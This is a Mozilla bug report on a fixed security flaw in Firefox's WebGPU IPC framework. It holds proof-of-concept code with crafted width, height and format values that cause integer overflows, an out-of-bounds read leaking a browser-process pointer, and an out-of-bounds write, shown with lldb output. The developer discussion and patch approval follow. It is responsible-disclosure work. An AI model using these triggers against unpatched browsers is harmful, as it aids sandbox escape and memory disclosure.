1768337 - out-of-bounds read/write in WebGPU IPC Framework

Status: RESOLVED FIXED

(Core :: Graphics: WebGPU, defect, P3)

Description

[Kirin]

Attachment: crash.log

out-of-bounds read/write in WebGPU IPC Framework

VERSION

Firefox Nightly Build

VULNERABILITY DETAILS

I think there are several issues when WebGPU Framework handles the MemoryTextureHost structure.

0x01

In the IPC interface WebGPUParent::RecvDeviceCreateSwapChain:

ipc::IPCResult WebGPUParent::RecvDeviceCreateSwapChain(
    RawId aSelfId, RawId aQueueId, const RGBDescriptor& aDesc,
    const nsTArray<RawId>& aBufferIds, const CompositableHandle& aHandle) {
  const auto rows = aDesc.size().height;
  const auto bufferStride =
      Align(static_cast<uint64_t>(aDesc.size().width) * 4);
  const auto textureStride = layers::ImageDataSerializer::GetRGBStride(aDesc);  // **** 1 *****
  const auto wholeBufferSize = CheckedInt<size_t>(textureStride) * rows;        // **** 2 *****
  if (!wholeBufferSize.isValid()) {                                            // **** 3 ****
    NS_ERROR("Invalid total buffer size!");
    return IPC_OK();
  }
  auto* textureHostData = new (fallible) uint8_t[wholeBufferSize.value()]; // **** 4 ****
  if (!textureHostData) {
    NS_ERROR("Unable to allocate host data!");
    return IPC_OK();
  }
  layers::TextureInfo texInfo(layers::CompositableType::IMAGE);
  layers::TextureFlags texFlags = layers::TextureFlags::NO_FLAGS;
  wr::ExternalImageId externalId =
      layers::CompositableInProcessManager::GetNextExternalImageId();

  RefPtr<layers::WebRenderImageHost> imageHost =
      layers::CompositableInProcessManager::Add(aHandle, OtherPid(), texInfo);

  auto textureHost =
      MakeRefPtr<layers::MemoryTextureHost>(textureHostData, aDesc, texFlags);
  textureHost->DisableExternalTextures();
  textureHost->EnsureRenderTexture(Some(externalId));

  auto data = MakeRefPtr<PresentationData>(
      aSelfId, aQueueId, imageHost.forget(), textureHost.forget(), bufferStride,
      textureStride, rows, aBufferIds);
  if (!mCanvasMap.insert({aHandle.Value(), data}).second) {
    NS_ERROR("External image is already registered as WebGPU canvas!");
  }
  return IPC_OK();
}

The interface handles the parameter aDesc of IPC messages through function layers::ImageDataSerializer::GetRGBStride(1) to get textureStride and use CheckedInt<size_t> to make sure there is no Integer Overflow here(2).
But in function layers::ImageDataSerializer::GetRGBStride:

int32_t GetRGBStride(const RGBDescriptor& aDescriptor) {
  return ComputeRGBStride(aDescriptor.format(), aDescriptor.size().width);
}

=>

int32_t ComputeRGBStride(SurfaceFormat aFormat, int32_t aWidth) {
#ifdef XP_MACOSX
  // Some drivers require an alignment of 32 bytes for efficient texture upload.
  return GetAlignedStride<32>(aWidth, BytesPerPixel(aFormat));
#else
  return GetAlignedStride<4>(aWidth, BytesPerPixel(aFormat));
#endif
}

=>

template <int alignment>
int32_t GetAlignedStride(int32_t aWidth, int32_t aBytesPerPixel) {
  static_assert(alignment > 0 && (alignment & (alignment - 1)) == 0,
                "This implementation currently require power-of-two alignment");
  const int32_t mask = alignment - 1;
  CheckedInt32 stride =
      CheckedInt32(aWidth) * CheckedInt32(aBytesPerPixel) + CheckedInt32(mask);
  if (stride.isValid()) {
    return stride.value() & ~mask;
  }
  return 0;  // **** 5 ****
}

We can see that if there is an Integer Overflow issue in aDesc(1). The GetRGBStride will return 0 in check of GetAlignedStride(5).
Therefore, the check in CheckedInt(2) of function WebGPUParent::RecvDeviceCreateSwapChain is invalid actually.
For example, we can malloc a zero-size data in textureHostData(4) in RecvDeviceCreateSwapChain by aDesc：

gfx::IntSize size;
size.width = 0x15555558;
size.height = 1;
layers::RGBDescriptor aDesc(size, gfx::SurfaceFormat::Lab); // BytesPerPixel(gfx::SurfaceFormat::Lab) = 12, 0x15555558 * 12 = 0x100000020 => overflow

0x02

Besides, I noticed that in Class PresentationData:

 PresentationData(RawId aDeviceId, RawId aQueueId,
                   already_AddRefed<layers::WebRenderImageHost> aImageHost,
                   already_AddRefed<layers::MemoryTextureHost> aTextureHost,
                   uint32_t aSourcePitch, uint32_t aTargetPitch, uint32_t aRows,
                   const nsTArray<RawId>& aBufferIds)
      : mDeviceId(aDeviceId),
        mQueueId(aQueueId),
        mImageHost(aImageHost),
        mTextureHost(aTextureHost),
        mSourcePitch(aSourcePitch),
        mTargetPitch(aTargetPitch),
        mRowCount(aRows),

Here, the aSourcePitch, aTargetPitch and aRows are stored as uint32_t.
But in WebGPUParent::RecvDeviceCreateSwapChain:

const auto wholeBufferSize = CheckedInt<size_t>(textureStride) * rows;      
  if (!wholeBufferSize.isValid()) {                                           
......
  }
  auto* textureHostData = new (fallible) uint8_t[wholeBufferSize.value()];
......
......
  auto data = MakeRefPtr<PresentationData>(
      aSelfId, aQueueId, imageHost.forget(), textureHost.forget(), bufferStride,
      textureStride, rows, aBufferIds);
  if (!mCanvasMap.insert({aHandle.Value(), data}).second) {
......

I don't know why size_t is used(CheckedInt<size_t>) here to calculate the wholeBufferSize of textureHostData, but store mSourcePitch, mTargetPitch and mRowCount as uint32_t.
It seems fine in RecvDeviceCreateSwapChain as uint32_t * uint32_t = size_t , but in other function (for example: in IPC interface WebGPUParent::RecvSwapChainPresent => PresentCallback):
if developers don't notice this when implement other interfaces, the vulnerability will happen:

static void PresentCallback(ffi::WGPUBufferMapAsyncStatus status,
                            uint8_t* userdata) {
......
......
  if (status == ffi::WGPUBufferMapAsyncStatus_Success) {
    const auto bufferSize = data->mRowCount * data->mSourcePitch;  // **** Integer Overflow Here****
    const uint8_t* ptr = ffi::wgpu_server_buffer_get_mapped_range(
        req->mContext, bufferId, 0, bufferSize);
    if (data->mTextureHost) {
      uint8_t* dst = data->mTextureHost->GetBuffer();
      for (uint32_t row = 0; row < data->mRowCount; ++row) {
        memcpy(dst, ptr, data->mTargetPitch);
        dst += data->mTargetPitch;
        ptr += data->mSourcePitch;
      }

The Integer Overflow happened, and it will lead to a buffer overflow here.
(I make a sample testcase in browser process to confirm this issue):

  WebGPUParent* magicServer = new WebGPUParent();
  gfx::IntSize size;
  size.width = 0x10000000;
  size.height = 4;
  RawId magicselfId = 1;
  RawId magicqueueId = 1;
  CompositableHandle magicHandle(1);
  nsTArray<RawId> magicbufferIds(10);
  const layers::RGBDescriptor magicDesc(size, gfx::SurfaceFormat::A8);
  magicServer->RecvDeviceCreateSwapChain(magicselfId, magicqueueId, magicDesc, magicbufferIds, magicHandle); // IPC: PWebGPU::Msg_DeviceCreateSwapChain__ID
  RawId magicTextureId = 1;
  RawId magicCommandEncoderId = 1;
  magicServer->RecvSwapChainPresent(magicHandle, magicTextureId, magicCommandEncoderId); // IPC: PWebGPU::Msg_SwapChainPresent__ID:

With debug:

    frame #0: 0x000000011425d9f2 XUL`mozilla::webgpu::PresentCallback(status=WGPUBufferMapAsyncStatus_Success, userdata="") at WebGPUParent.cpp:618:29
   617 	  if (status == ffi::WGPUBufferMapAsyncStatus_Success) {
   618 	    const auto bufferSize = data->mRowCount * data->mSourcePitch;
-> 619 	    const uint8_t* ptr = ffi::wgpu_server_buffer_get_mapped_range(
   620 	         req->mContext, bufferId, 0, bufferSize);
   621 	    uint8_t* ptr = new (fallible) uint8_t[bufferSize];
Target 0: (firefox) stopped.
(lldb) p/x bufferSize
(const unsigned int) $54 = 0x00000400

Then:

   622 	    if (data->mTextureHost) {
   623 	      uint8_t* dst = data->mTextureHost->GetBuffer();
   624 	      for (uint32_t row = 0; row < data->mRowCount; ++row) {
-> 625 	        memcpy(dst, ptr, data->mTargetPitch);
   626 	        dst += data->mTargetPitch;
   627 	        ptr += data->mSourcePitch;
   628 	      }
Target 0: (firefox) stopped.
(lldb) p/x data->mTargetPitch
(uint32_t) $55 = 0x10000000
(lldb)

Obviously, a buffer overflow happened here.

0x03

The unsynchronization between check and storage may cause serious problems in other interfaces:

• In 0x01: We can malloc a zero-size data in textureHostData(4) but store a fake aDesc in MemoryTextureHost structure.
• In 0x02: We store and use mSourcePitch, mTargetPitch and mRowCount as uint32_t but check them in CheckedInt<size_t>, it may lead to Integer Overflow issues in other interfaces.

REPRODUCTION CASE

In addition to the above example (IPC interface WebGPUParent::RecvSwapChainPresent), I notice a new feature recently added to WebGPU Framework:

ipc::IPCResult WebGPUParent::GetFrontBufferSnapshot(
    IProtocol* aProtocol, const CompositableHandle& aHandle,
    Maybe<Shmem>& aShmem, gfx::IntSize& aSize) {
  const auto& lookup = mCanvasMap.find(aHandle.Value());
  if (lookup == mCanvasMap.end()) {
    return IPC_OK();
  }

  RefPtr<PresentationData> data = lookup->second.get();
  aSize = data->mTextureHost->GetSize();
  uint32_t stride =
      aSize.width * BytesPerPixel(data->mTextureHost->GetFormat());  // **** Integer Overflow Here****
  uint32_t len = data->mRowCount * stride;     // **** Integer Overflow Here****
  Shmem shmem;
  if (!AllocShmem(len, ipc::Shmem::SharedMemory::TYPE_BASIC, &shmem)) {
    return IPC_OK();
  }

  uint8_t* dst = shmem.get<uint8_t>();
  uint8_t* src = data->mTextureHost->GetBuffer();
  for (uint32_t row = 0; row < data->mRowCount; ++row) {
    memcpy(dst, src, stride); // **** 6 ****
    src += data->mTargetPitch;
    dst += stride;
  }

  aShmem.emplace(std::move(shmem));
  return IPC_OK();
}

In this case:

For 0x01:

we can trigger the issue in 0x01 to make a zero-size data in PresentationData, and trigger a heap-buferr-overflow read to a shared memry.

  WebGPUParent* magicServer = new WebGPUParent();
  gfx::IntSize size;
  size.width = 0x15555558;
  size.height = 1;
  RawId magicselfId = 1;
  RawId magicqueueId = 1;
  CompositableHandle magicHandle(1);
  nsTArray<RawId> magicbufferIds(10);
  const layers::RGBDescriptor magicDesc(size, gfx::SurfaceFormat::Lab);
  magicServer->RecvDeviceCreateSwapChain(magicselfId, magicqueueId, magicDesc, magicbufferIds, magicHandle); // IPC: PWebGPU::Msg_DeviceCreateSwapChain__ID
  webgl::FrontBufferSnapshotIpc buffer;
  IntSize size;
  magicServer->GetFrontBufferSnapshot(NULL, magicHandle, buffer.shmem, size); // IPC PCanvasManager::Msg_GetSnapshot__ID

In this case:

(lldb) n
Process 26192 stopped
* thread #1, name = 'MainThread', queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x00000001116170a8 XUL`mozilla::webgpu::WebGPUParent::RecvDeviceCreateSwapChain(this=0x000000015ed23050, aSelfId=1, aQueueId=1, aDesc=0x00007ffee5b95fa8, aBufferIds=0x00007ffee5b95f90, aHandle=0x00007ffee5b95f98) at WebGPUParent.cpp:542:51
   539 	  const auto bufferStride =
   540 	      Align(static_cast<uint64_t>(aDesc.size().width) * 4);
   541 	  const auto textureStride = layers::ImageDataSerializer::GetRGBStride(aDesc);
-> 542 	  const auto wholeBufferSize = CheckedInt<size_t>(textureStride) * rows;
   543 	  if (!wholeBufferSize.isValid()) {
   544 	    NS_ERROR("Invalid total buffer size!");
   545 	    return IPC_OK();
Target 0: (firefox) stopped.
(lldb) p textureStride


(const int) $42 = 0
-> 547 	  auto* textureHostData = new (fallible) uint8_t[wholeBufferSize.value()];
   548 	  if (!textureHostData) {
   549 	    NS_ERROR("Unable to allocate host data!");
   550 	    return IPC_OK();
Target 0: (firefox) stopped.
(lldb) p/x wholeBufferSize
(const mozilla::CheckedInt<unsigned long>) $43 = (mValue = 0x0000000000000000, mIsValid = 0x01)

We make a zero-size textureHostData here, and in GetFrontBufferSnapshot:

   610 	  uint8_t* dst = new (fallible) uint8_t[len];
   611 	  uint8_t* src = data->mTextureHost->GetBuffer();
   612 	  for (uint32_t row = 0; row < data->mRowCount; ++row) {
-> 613 	    memcpy(dst, src, stride);
   614 	    src += data->mTargetPitch;
   615 	    dst += stride;
   616 	  }
Target 0: (firefox) stopped.
(lldb) p/x stride
(uint32_t) $44 = 0x00000020
(lldb) x/10xg src                                       #  textureHostData: zero-size heap
0x157b19548: 0xe5e5e5e5e5e5e5e5 0x0000000000687425
0x157b19558: 0x0000000166265400 0x0000000166299f40
0x157b19568: 0x00000001662189c0 0x0000000166253840
0x157b19578: 0x00000001549e3940 0x0000000166253bc0
0x157b19588: 0x0000000166265c80 0x0000000166265800
(lldb) x/10xg dst                                       #  Shared Memory
0x1611cc000: 0x0000000000000000 0x0000000000000000
0x1611cc010: 0x0000000000000000 0x0000000000000000
0x1611cc020: 0x0000000000000000 0x0000000000000000
0x1611cc030: 0x0000000000000000 0x0000000000000000
0x1611cc040: 0x0000000000000000 0x0000000000000000

We leak a pointer in Browser process successfully to a SharedMemory by out-of-bounds read.

For 0x02:

We can trigger an Integer Overflow issue, and it will lead to an out-of-bounds write in memcpy.
(For an out-of-bounds write issue in shared memory, I think there is no effective way to exploit it yet (as there is a memory protection before and after SharedMemory). Here I just show that the above issues can lead to an out-of-bounds write problem).

  WebGPUParent* magicServer = new WebGPUParent();
  gfx::IntSize size;
  size.width = 0x1555555F;
  size.height = 0x234F72D;
  RawId magicselfId = 1;
  RawId magicqueueId = 1;
  CompositableHandle magicHandle(1);
  nsTArray<RawId> magicbufferIds(10);
  const layers::RGBDescriptor magicDesc(size, gfx::SurfaceFormat::Lab);
  magicServer->RecvDeviceCreateSwapChain(magicselfId, magicqueueId, magicDesc, magicbufferIds, magicHandle); // IPC: PWebGPU::Msg_DeviceCreateSwapChain__ID
  webgl::FrontBufferSnapshotIpc buffer;
  IntSize size;
  magicServer->GetFrontBufferSnapshot(NULL, magicHandle, buffer.shmem, size); // IPC PCanvasManager::Msg_GetSnapshot__ID

In GetFrontBufferSnapshot:

   601 	  aSize = data->mTextureHost->GetSize();
   602 	  uint32_t stride =
   603 	      aSize.width * BytesPerPixel(data->mTextureHost->GetFormat());
   604 	  uint32_t len = data->mRowCount * stride;
-> 605 	  Shmem shmem;
   606 	  if (!AllocShmem(len, ipc::Shmem::SharedMemory::TYPE_BASIC, &shmem)) {
   607 	     return IPC_OK();
Target 0: (firefox) stopped.
(lldb) p/x stride
(uint32_t) $50 = 0x00000074
(lldb) p/x len
(uint32_t) $51 = 0x00000064

......
   612 	  for (uint32_t row = 0; row < data->mRowCount; ++row) {
-> 613 	    memcpy(dst, src, stride);          # Out-of-Bounds Write Here
   614 	    src += data->mTargetPitch;
   615 	    dst += stride;
   616 	  }
Target 0: (firefox) stopped.
(lldb) p/x stride
(uint32_t) $52 = 0x00000074

Here I just give two examples (IPC PCanvasManager::Msg_GetSnapshot__ID and PWebGPU::Msg_SwapChainPresent__ID) to show the impact of the above two issues(0x01/0x02). I'm not sure if there are similar functions in IPC Framework to trigger them. I think the error handling here may lead to more problems in the future function addition and improvement.

PS: I'm not sure if we can trigger this issue just by dom.webgpu API, I didn't test it as there is no gpu process in my MacBook. It seems like that we can trigger it directly by using DOM API:

const context = canvas.getContext('webgpu');
context.configure({
  device,
  format,
  size, // fake size
  usage,
})

But as dom.webgpu.enabled is disabled by default, I think this issue only affects compromised renderer process most of the time in real world.

Suggestion

Check and handle IPC parameters (aDesc) correctly in WebGPUParent::RecvDeviceCreateSwapChain.

Comment 1

[Kirin]

Attachment: Report.md

Comment 2

[Daniel Veditz [:dveditz]]

But as dom.webgpu.enabled is disabled by default,

Currently disabled, but of course when we're done developing the feature we will be turning it on. It is currently incomplete and has a lot of known stability issues.

Provisionally rating this sec-high based only on the description. We'll need to confirm it and see if this functionality is reachable from web content.

Comment 3

[BugBot [:suhaib / :marco/ :calixte]]

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:aosmond, could you consider increasing the severity of this security bug?

For more information, please visit auto_nag documentation.

Comment 4

[BugBot [:suhaib / :marco/ :calixte]]

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

Comment 5

[Kirin]

Hello, very thanks for your response. As I see the status-firefox100/101/102 have been set as disabled, I think you misunderstand my report (or I misunderstand you). As the issue exists in IPC Framework, I think this issue mainly affects (compromised/broken) renderer process (when it needs sandbox-escape). But if we can trigger it just by DOM API, this may cause more serious problems.

In my report, I pointed out two root causes(VULNERABILITY DETAILS: 0x01/0x02) and three trigger methods(one in IPC Message PWebGPU::Msg_SwapChainPresent__ID && two in PCanvasManager::Msg_GetSnapshot__ID). But I only verify them by adding code to the GPU process to simulate the process handle the IPC requests (you can see the code in my report: I only set the parameters of the IPC request, and you can see my debugging results in lldb).

I hope this information can help you deal with this vulnerability.

Comment 6

[Andrew Osmond [:aosmond] (he/him)]

Attachment: Bug 1768337.

Comment 7

[Andrew Osmond [:aosmond] (he/him)]

(In reply to Release mgmt bot [:suhaib / :marco/ :calixte] from comment #3)

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:aosmond, could you consider increasing the severity of this security bug?

For more information, please visit auto_nag documentation.

I think S3 stands given it is disabled, but either way, we will get a patch out this cycle.

Comment 8

[Kirin]

(In reply to Kirin from comment #5)

Hello, very thanks for your response. As I see the status-firefox100/101/102 have been set as disabled, I think you misunderstand my report (or I misunderstand you). As the issue exists in IPC Framework, I think this issue mainly affects (compromised/broken) renderer process (when it needs sandbox-escape). But if we can trigger it just by DOM API, this may cause more serious problems.
I'm not sure the disabled status is correct here, as IPC requests can be used directly in a broken render process?

Comment 9

[Kirin]

(In reply to Kirin from comment #5)

Hello, very thanks for your response. As I see the status-firefox100/101/102 have been set as disabled, I think you misunderstand my report (or I misunderstand you). As the issue exists in IPC Framework, I think this issue mainly affects (compromised/broken) renderer process (when it needs sandbox-escape). But if we can trigger it just by DOM API, this may cause more serious problems.

I'm not sure the disabled status is correct here, as IPC requests can be used directly in a broken render process?

Comment 10

[Andrew Osmond [:aosmond] (he/him)]

We won't let you create the IPDL object in the compositor process (parent or GPU) unless the gfxVar is set:
https://searchfox.org/mozilla-central/rev/97c902e8f92b15dc63eb584bfc594ecb041242a4/gfx/ipc/CanvasManagerParent.cpp#93

The gfxVar can only be updated from the parent process. I guess if the parent process is compromised, one could create it.

Comment 11

[Kirin]

Thanks for your explanation, and I noticed it in:
https://searchfox.org/mozilla-central/source/gfx/thebes/gfxPlatform.cpp#2885

Comment 12

[Andrew Osmond [:aosmond] (he/him)]

Comment on attachment 9276306 [details]
Bug 1768337.

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Very, it clearly shows issues with our bounds checking in the compositor process. It may require the content process to be exploited first.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which older supported branches are affected by this flaw?:
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Low risk, probably can be uplifted directly, but not necessary as we cannot even create the IPDL objects without compromising the parent process in the first place.
• How likely is this patch to cause regressions; how much testing does it need?: Very unlikely
• Is Android affected?: Yes

Comment 13

[Daniel Veditz [:dveditz]]

Comment on attachment 9276306 [details]
Bug 1768337.

sec-approval = dveditz

Comment 14

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

r=gfx-reviewers,lsalzman
https://hg.mozilla.org/integration/autoland/rev/67c78b8ac44253bcfb25648e0454427eedb92fd4
https://hg.mozilla.org/mozilla-central/rev/67c78b8ac442

Comment 15

[Kirin]

Thanks for fixing this issue and rewarding the bounty !